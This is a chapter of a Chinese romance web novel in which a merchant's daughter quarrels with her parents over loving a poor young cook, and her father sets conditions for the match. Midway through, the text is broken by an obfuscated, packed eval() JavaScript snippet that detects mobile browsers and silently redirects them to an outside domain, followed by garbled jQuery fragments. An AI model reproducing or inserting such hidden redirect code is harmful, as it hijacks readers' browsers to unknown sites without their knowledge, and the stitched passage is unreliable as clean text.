天色渐晚,城南街街尾的薛宅里,薛秋华跪在后院的厅堂中泪流满面。
“难道这肉夹馍不好吃吗?难道这肉夹馍不是怀真哥做的吗?”面对着气得满面通红的薛母,她依旧不服气地梗着脖子控诉道。
“你!你真的是想气死为娘吗!”薛母虽然很想承认那肉夹馍真的很美味,现在提起这三个字来都还会口舌生津,但看到自家女儿那被晒黑的脸,就气不打一处来,哪有好人家的姑娘会这般不顾身份地去倒贴一个穷小子的?
“我帮孟奶奶有错吗?尊老爱幼不是您们从小就教导我的吗?”薛秋华理直气壮地顶撞道。
“人家那是在做自家营生!儿子孙子都在身边,用得着你帮忙吗?怎么别人不去帮,就你贴着上去?”薛母拿着藤条,捂着不断起伏的胸口,这一刻真的想把这个偷换概念的傻女儿扔出去。
“那我心悦怀真哥嘛!您为何一定要阻止我和他往来?”薛秋华撅着嘴,委屈地低下头,泪水掉得更凶了。
薛母气得有些发晕,看着那决堤似的小珍珠又有点心疼,坐下喝了口热茶后缓了缓情绪,才语重心长地继续道:“翠翠,你年纪不小了,明年都可以嫁人了。爹娘也不要求你去学习女诫女论那些别人家姑娘待嫁闺中时要熟记的规训,但你现在这般抛头露面,整日里对着一个男子投怀送抱,你往后怎么嫁得出去呢,嫁去后夫家知道了这档子往事又会如何待你呢?你自己想过没有。”
薛秋华听娘亲的语气缓和了下来,擦掉眼泪,抬头瞅了一眼,认真地说:“那怀真哥就很适合我呀!我下嫁到他们家既不用守一堆高门大户的规矩,也不用看婆母的眼色,还能常常回娘家来找您和爹爹,多好呀!”
薛母被她这番天真的言论气笑了,努力压制住了心头不断窜起的火苗,尽量温和地道:“你从小就锦衣玉食,即使及不上大户人家那般富贵奢华,但也是不愁吃穿,娇养着长大的,至今十指不沾阳春水。且不说尚小公子是否有能力发家致富,他爹瘸祖母亦老,面对着如此家境,纵有再多心思也不能全然顾着你,你嫁过去后定然是要为他们家洗手作羹汤的啊。哪日真让日子好起来了,你也熬得人老珠黄了,他有能力再去娶娇柔貌美的年轻妻子,你觉得面对着那些莺莺燕燕,形容枯槁的你还能抓住他的心吗?”
被唬得说不出话来的薛秋华,沉思了片刻,还是嘴硬地小声反驳道:“其他公子哥身边也会有莺莺燕燕呀,怀真哥也未必会变心的。”
见女儿似乎能听进去了,薛母叹了口气,把她扶起,小心地擦掉她红肿双眼下还挂着的泪,道:“男人可以三妻四妾的特权于我们女子本就不利,我们但求能与夫郎举案齐眉,过得安稳舒心些便是上上签了。挑个家世好的郎君,至少下有丫鬟婆子服侍,不用你去操心每日的浆洗琐事;上有一官半职的公婆管教着,为了事业名声,也不会让家中子弟干出出格的事来。咱做父母的都是为了你好,只盼你可以高枕无忧、舒服平安地过完这辈子,而不是因嫁人后导致辛劳半生。”
薛秋华闻言,推开娘亲给自己擦泪的手,撇过头去,愤愤然地说:“您们总是说这是为我好,那也为我好,但是有谁问过我心里真正的想法吗?怀真哥如今的确是一穷二白,但他现在这么努力,以后一定还会这般贫困吗?家世好的郎君不思进取的话,就一定能给我带来好日子吗?为何连未来夫君我都不可以自己选择?为何总要用您们的看法来决定我的人生呢!”
一连串的反问把薛母砸得头昏脑涨,她无奈又痛心地看了那个倔强的背影一眼,起身擦拭着眼角的泪就出去了。
薛秋华看着那个因抽泣而摇摇晃晃,差点被门栏绊倒的身影,心里有些愧疚,觉得自己这次是真的伤了娘亲的心了,然而又害怕一旦心软妥协,就要被塞上嫁予不爱之人的喜轿,故而抿了抿唇,闭着眼没说话。
坐在门外风雨游廊上旁听的薛父见妻子低泣着从厅堂里走了出来,安抚了好几句,让她先去沐浴后用过晚膳就早些歇息,便走了进去。
“翠翠。”
“爹爹……”薛秋华见到来人,瘪着嘴,扑到他的怀里大哭起来。
薛父轻拍着她的背,过了良久,见她情绪终于平复了下来,才道:“不要怪你娘,她是太过心疼你,怕你涉世不深被欺负了去,只是有些心急罢。”
薛秋华点点头,声音还有一些沙哑,问道:“爹爹你也不中意怀真哥吗?”
薛父摇了摇头,微笑道:“不,他是一个很有胆量和想法的少年郎。你饿了吧?爹让管家安排几个菜过来,你先看过尚小公子的这封信,一会爹再问你几个问题。”
说罢,他从袖中拿出尚怀真的那封自荐信递给薛秋华。
来回翻看了两遍,薛秋华见这封信里的内容和自己没什么关系,不解地问道:“怀真哥想和爹爹您合作,我并不懂生意上的这些事,爹爹您想问我什么?”
“咱们边吃边聊。”薛父笑了笑,往对面小丫头的碗里夹了一块她爱吃的狮子头,道:“爹且问你,你为何心悦尚小公子?”
“怀真哥他长得好看呀!而且人也温柔,从来都不会和别的臭小孩一起欺负我们姑娘家。”薛秋华喜滋滋地吃着爹爹夹过来的肉,不假思索地回答道。
“你觉得爹爹可以与他合作吗?”
“当然,他今天做的那个肉夹馍多好吃呀!阳春面也很香呢,看那长长的队伍,连点菜取餐的方式都那么独特。且不说色香味俱全,这般别具一格的经营方式,也总能引来好奇的客人的,生意肯定不会差的!”薛秋华回想起今日那肉香四溢的口感,只觉眼前的菜肴都瞬间索然无味了。
薛父点点头,倒是有些认可,又问:“我见信中他只字未提与你的交情,你可曾有跟他表达过你的心意?”
薛秋华的脸腾地红了起来,害羞道:“我有给怀真哥送过东西,不晓得他能不能明白我的心意,爹爹为何问这个?”
“他这封信言辞犀利,所言目标远大且明确,并不像是会专注儿女情长之人。这两次你们的相处爹爹我也有仔细留意,并不见他眼里有对你的欣赏与眷恋,你觉得他也会同样心悦于你吗?”薛父见薛秋华吃好了,让人撤走了碗碟,神情温和却语带严肃地问道。
“我……久处生情,只要我多去给怀真哥帮忙,或许他就会明白我的心意了。”薛秋华一时无言,思索了许久才答道。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405584|184444||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“傻丫头,像这种有野心的男子,他们需要的从来都是能给自己前途提供帮助的妻子。你想追求的真情,实际上都是价值互换,是靠自身实力吸引得来的,而不是用自贬身价的方式去妄图捆绑。”
见薛秋华听得愣住了,薛父又继续道:“这封信你看了,帮厨今日也做了,你觉得自己有哪方面的优势可以吸引到他呢?”
“我……爹……”薛秋华欲言又止,低着头说不上话来。
“爹爹不是特意想打击你,咱家在这片街市财力数一数二,且目前尚小公子又想与我们合作,定然会十分看重你。共苦容易,同甘难,到他富甲一方那天,你还要凭借什么来与他白头偕老呢,凭他的良心?”
薛秋华有些不满,底气不足地道:“爹爹,您们怎么都要把人与人之间的感情说得这般势利?”
“除了血缘至亲,没有人会无缘无故对你好,况爹爹也感觉不到尚小公子对你的爱意,难道给他帮两天忙他就会心悦于你吗?除非你身上能有让他爱慕你的地方呀,傻姑娘。”薛父好笑地摸了摸闺女的头,看着她噘着嘴思考,一副不服气的样子,觉得有些可爱,也不晓得这性子是随了谁。
薛秋华点了点头,虚心问道:“就是爹爹您常说的,要自己立得住,才能得到他人的尊重的意思对吧。女儿我确实很想和怀真哥在一起,我应该要怎么做呢?”
薛父有些哭笑不得,这妮子看来真的是不撞南墙都不会心死了,他只好正了正色道:“首先,你必须要有一项能养活自己的本领,前提这是属于你自己的事业而非东拼西凑的散工。其次,你要让尚小公子心甘情愿地亲自上门提亲,并在全家人面前保证你永远是他的正妻;另外,两年后,咱们江南数地的名厨会齐聚洋塘道的都城宁水,参加厨王争霸的海选赛,爹爹需要他成功通过海选后方能娶你。”
“厨王争霸?”薛秋华好奇道。
“是的,当今好口腹之欲,时常派人遍寻四方美食,登位后不久便着人安排举办了每三年一次的厨王争霸大赛,以在民间选拔御厨进宫,时刻为其烹制珍馐美馔,使能于宫中遍尝天下。”薛父点了点头,说:“离州虽大,这些年来却不曾有一人能脱颖而出,更遑论我们湖山县少有善烹调之人了,如今一见,尚小公子或可一试。”
说完,他话锋一转,又道:“爹爹只给你三年时间,但凡有一个条件没达成,你就乖乖地听从你娘和祖母的安排,安心嫁人生子。”
“好的,我答应您,我和怀真哥都一定可以做到的!那娘亲那边?”薛秋华思量了一会,自信地应下了这些要求,走到薛父身后给他捏肩捶背。
薛父不置可否地笑了笑,一边指挥着她的小手,一边道:“为父既然能答应你,你就放手去做你想做的事吧,你娘她们那边,爹都会帮你处理好的。”
薛秋华听此,高兴地绕着爹爹蹦蹦跳跳,突然想到什么,坐下来托着下巴好奇地问:“爹爹您真好!您不会觉得我这样是离经叛道吗?”
薛父看着她,眼神却好似透过她在看向不存在的人,笑容中不知为何竟带着一丝迷茫与自嘲,只答了一句:
“女子本就不该被囚于深闺。”